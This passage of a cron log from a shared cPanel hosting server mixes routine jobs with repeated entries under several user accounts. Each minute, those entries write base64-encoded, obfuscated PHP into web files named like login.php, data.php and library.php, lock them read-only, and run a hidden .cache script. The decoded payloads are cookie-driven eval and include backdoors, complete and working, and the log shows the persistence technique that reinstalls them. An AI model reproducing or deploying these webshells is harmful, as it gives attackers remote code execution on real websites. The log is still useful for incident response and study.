PVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:05:01 medusa CROND[20717]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:05:01 medusa CROND[20722]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:05:01 medusa CROND[20726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20727]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20730]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20731]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:05:01 medusa CROND[20732]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:05:01 medusa CROND[20728]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20736]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:05:01 medusa CROND[20737]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:05:01 medusa CROND[20738]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:05:01 medusa CROND[20721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:05:01 medusa CROND[20741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 08:05:01 medusa CROND[20733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:06:02 medusa CROND[23097]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:06:02 medusa CROND[23102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:06:02 medusa CROND[23103]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:06:02 medusa CROND[23104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:06:02 medusa CROND[23105]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:06:02 medusa CROND[23106]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:06:02 medusa CROND[23107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:06:02 medusa CROND[23110]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:06:02 medusa CROND[23114]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:06:02 medusa CROND[23118]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:06:02 medusa CROND[23120]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:06:02 medusa CROND[23121]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:06:02 medusa CROND[23123]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:06:02 medusa CROND[23128]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:06:02 medusa CROND[23131]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:07:01 medusa CROND[24996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:07:01 medusa CROND[25001]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:07:01 medusa CROND[25003]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:07:01 medusa CROND[25004]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:07:01 medusa CROND[25007]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
